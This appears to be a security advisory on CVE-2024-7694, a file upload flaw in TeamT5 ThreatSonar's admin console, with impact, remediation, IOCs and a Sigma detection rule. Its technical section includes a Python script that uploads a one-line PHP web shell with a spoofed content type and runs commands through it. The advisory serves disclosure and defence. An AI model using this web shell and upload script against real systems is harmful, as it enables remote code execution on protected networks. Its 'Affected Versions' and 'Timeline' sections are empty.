CVE-2024-7694: TeamT5 ThreatSonar Anti-Ransomware -- Unrestricted File Upload RCE

Background

TeamT5 ThreatSonar is a threat intelligence and anti-ransomware security platform deployed in enterprise environments, particularly across Asia-Pacific. Security products represent a particularly sensitive attack target because they operate with elevated privileges and extensive access to sensitive data throughout the environments they protect.

CVE-2024-7694 is an unrestricted file upload vulnerability (CWE-434) in ThreatSonar’s administrative interface. An attacker with admin-level credentials to the ThreatSonar console can upload malicious files — such as web shells or executables — and execute arbitrary system commands through them. CISA added this to the KEV catalog on 2026-02-17.

A compromised security platform is a high-value outcome for attackers: it has broad network visibility, access to threat intelligence data, and direct integration with every endpoint it protects. The same position that lets ThreatSonar detect threats lets an attacker hide their own activity, disable protections, and pivot to monitored assets.

Technical Mechanism

CWE-434 (Unrestricted Upload of File with Dangerous Type) in ThreatSonar’s admin interface allows upload of executable files without proper content-type or file extension validation.

# Conceptual exploit: admin uploads malicious PHP/JSP web shell
import requests

# Authenticate as admin (compromised credentials)
session = requests.Session()
session.post("https://threatsonar.company.com/login", 
             json={"username": "admin", "password": "compromised_password"})

# Upload web shell as "threat sample" or update file
files = {"file": ("shell.php", b"<?php system($_GET['cmd']); ?>", "image/jpeg")}
r = session.post("https://threatsonar.company.com/api/upload/sample", files=files)

# Execute commands via uploaded web shell
r = session.get("https://threatsonar.company.com/uploads/shell.php?cmd=id")
print(r.text)  # uid=0(root) gid=0(root)

The file type validation is insufficient — the server either trusts the Content-Type header (which attackers control) or fails to validate the actual file extension against an allowlist, permitting execution-capable files to be uploaded to a web-accessible directory.

Real-World Exploitation Evidence

CISA’s KEV listing confirms active exploitation. The requirement for admin credentials means this is likely exploited in scenarios where admin credentials have been compromised through phishing, credential stuffing, or password reuse. Security product compromise is a known objective for sophisticated threat actors — once inside a security monitoring platform, attackers can suppress alerts for their own activity, exfiltrate threat intelligence data, and pivot through the platform’s extensive enterprise network access.

Impact Assessment

• Remote code execution with security platform’s elevated OS privileges
• Suppression of security alerts and detection logic
• Access to all monitored endpoint telemetry and threat intelligence data
• Pivot to all enterprise assets integrated with ThreatSonar
• Persistence within the security monitoring infrastructure itself

Affected Versions

Remediation Steps

1. Apply TeamT5’s security patch for CVE-2024-7694 immediately.
2. Rotate all ThreatSonar administrative credentials.
3. Review admin access logs for unauthorized upload activity.
4. Audit uploaded files in ThreatSonar directories for web shells or malicious content.
5. Restrict ThreatSonar admin console access to dedicated security admin networks.
6. Enable multi-factor authentication for all security product administrative accounts.

Detection Guidance

Log Sources: ThreatSonar application logs, web server access logs, OS file integrity monitoring.

IOCs: Uploads of PHP, JSP, ASPX, or executable files to ThreatSonar directories; unexpected web requests to uploaded file paths; new processes spawned from the ThreatSonar web service.

Sigma rule:

title: ThreatSonar Admin File Upload Web Shell CVE-2024-7694
logsource:
  category: webserver
detection:
  selection:
    cs-uri-stem|contains: '/upload/'
    cs-method: 'POST'
    cs-bytes|gte: 1000
  filter:
    cs-uri-stem|contains:
      - '.csv'
      - '.pdf'
      - '.txt'
  condition: selection and not filter
level: high

Timeline

References

• NVD — CVE-2024-7694
• CISA KEV — CVE-2024-7694
• MITRE CVE — CVE-2024-7694